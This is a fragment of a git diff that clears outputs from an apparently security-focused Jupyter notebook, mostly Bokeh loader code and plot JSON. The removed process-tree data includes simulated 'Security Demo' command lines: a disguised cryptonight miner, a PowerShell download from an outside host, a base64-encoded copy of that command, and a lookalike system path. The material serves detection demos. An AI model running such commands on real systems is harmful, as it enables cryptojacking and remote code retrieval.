0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"NaN\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"cmd /c echo End Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"NaN\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe 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Grid\"},{\"attributes\":{\"text\":{\"field\":\"cmd\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"7pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1663\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1664\"}}},\"id\":\"1666\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"1738\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"text\":\"ProcessTree\"},\"id\":\"1628\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"1626\"}},\"id\":\"1662\",\"type\":\"CDSView\"},{\"attributes\":{\"callback\":null},\"id\":\"1649\",\"type\":\"TapTool\"},{\"attributes\":{},\"id\":\"1698\",\"type\":\"BasicTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"TimeGenerated\":\"datetime\"},\"renderers\":[{\"id\":\"1661\"}],\"tooltips\":[[\"Process\",\"@NewProcessName\"],[\"PID\",\"@PID\"],[\"CmdLine\",\"@CommandLine\"],[\"SubjUser\",\"@SubjectUserName\"],[\"SubjLgnId\",\"@SubjectLogonId\"],[\"TargLgnId\",\"@TargetLogonId\"],[\"Time\",\"@TimeGenerated{%F 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Application\",\"version\":\"2.1.1\"}};\n", - " var render_items = [{\"docid\":\"11897ead-912d-407c-8dc3-ee212b79dc00\",\"root_ids\":[\"1730\"],\"roots\":{\"1730\":\"4bda054c-31bc-4c4f-b276-f8b4aacba3d2\"}}];\n", - " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", - "\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " embed_document(root);\n", - " } else {\n", - " var attempts = 0;\n", - " var timer = setInterval(function(root) {\n", - " if (root.Bokeh !== undefined) {\n", - " clearInterval(timer);\n", - " embed_document(root);\n", - " } else {\n", - " attempts++;\n", - " if (attempts > 100) {\n", - " clearInterval(timer);\n", - " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", - " }\n", - " }\n", - " }, 10, root)\n", - " }\n", - "})(window);" - ], - "application/vnd.bokehjs_exec.v0+json": "" - }, - "metadata": { - "application/vnd.bokehjs_exec.v0+json": { - "id": "1730" - } - }, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "if security_alert.data_family.name != \"WindowsSecurity\":\n", " raise ValueError('The remainder of this notebook currently only supports Windows. '\n", @@ -3074,18 +581,9 @@ }, { "cell_type": "code", - "execution_count": 15, + "execution_count": null, "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "UTC\n", - "None\n" - ] - } - ], + "outputs": [], "source": [ "pd.Timestamp(0, tz=0)\n", "ts_sample = process_tree.iloc[0][\"TimeGenerated\"]\n", @@ -3104,7 +602,7 @@ }, { "cell_type": "code", - "execution_count": 16, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:16.391952Z", @@ -3112,380 +610,7 @@ }, "scrolled": true }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1831\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
\n" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "(function(root) {\n", - " function embed_document(root) {\n", - " \n", - " var docs_json = {\"a952a802-01f3-47f3-b9f7-896411732d6d\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1834\"},{\"id\":\"1866\"}]},\"id\":\"1908\",\"type\":\"Column\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1853\",\"type\":\"WheelZoomTool\"},{\"attributes\":{},\"id\":\"1917\",\"type\":\"Selection\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1939\",\"type\":\"DaysTicker\"},{\"attributes\":{\"below\":[{\"id\":\"1845\"}],\"center\":[{\"id\":\"1848\"},{\"id\":\"1852\"},{\"id\":\"1907\"}],\"left\":[{\"id\":\"1849\"}],\"min_border_left\":50,\"plot_height\":250,\"plot_width\":900,\"renderers\":[{\"id\":\"1900\"},{\"id\":\"1905\"}],\"title\":{\"id\":\"1835\"},\"toolbar\":{\"id\":\"1859\"},\"x_range\":{\"id\":\"1837\"},\"x_scale\":{\"id\":\"1841\"},\"y_range\":{\"id\":\"1839\"},\"y_scale\":{\"id\":\"1843\"}},\"id\":\"1834\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"1843\",\"type\":\"LinearScale\"},{\"attributes\":{\"data_source\":{\"id\":\"1902\"},\"glyph\":{\"id\":\"1903\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1904\"},\"selection_glyph\":null,\"view\":{\"id\":\"1906\"}},\"id\":\"1905\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1940\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1933\"},{\"id\":\"1934\"},{\"id\":\"1935\"},{\"id\":\"1936\"},{\"id\":\"1937\"},{\"id\":\"1938\"},{\"id\":\"1939\"},{\"id\":\"1940\"},{\"id\":\"1941\"},{\"id\":\"1942\"},{\"id\":\"1943\"},{\"id\":\"1944\"}]},\"id\":\"1878\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1941\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"source\":{\"id\":\"1902\"}},\"id\":\"1906\",\"type\":\"CDSView\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1839\",\"type\":\"Range1d\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1895\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1887\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1928\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1944\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1899\",\"type\":\"Diamond\"},{\"attributes\":{},\"id\":\"1850\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1855\",\"type\":\"ResetTool\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1895\"},\"ticker\":{\"id\":\"1846\"}},\"id\":\"1845\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"1918\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1898\",\"type\":\"Diamond\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1833\"},{\"id\":\"1853\"},{\"id\":\"1854\"},{\"id\":\"1855\"},{\"id\":\"1856\"},{\"id\":\"1857\"}]},\"id\":\"1859\",\"type\":\"Toolbar\"},{\"attributes\":{\"data_source\":{\"id\":\"1832\"},\"glyph\":{\"id\":\"1898\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1899\"},\"selection_glyph\":null,\"view\":{\"id\":\"1901\"}},\"id\":\"1900\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1920\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1883\"},\"ticker\":{\"id\":\"1878\"}},\"id\":\"1877\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"below\":[{\"id\":\"1877\"},{\"id\":\"1882\"}],\"center\":[{\"id\":\"1880\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"1888\"}],\"title\":{\"id\":\"1867\"},\"toolbar\":{\"id\":\"1881\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"1869\"},\"x_scale\":{\"id\":\"1873\"},\"y_range\":{\"id\":\"1871\"},\"y_scale\":{\"id\":\"1875\"}},\"id\":\"1866\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\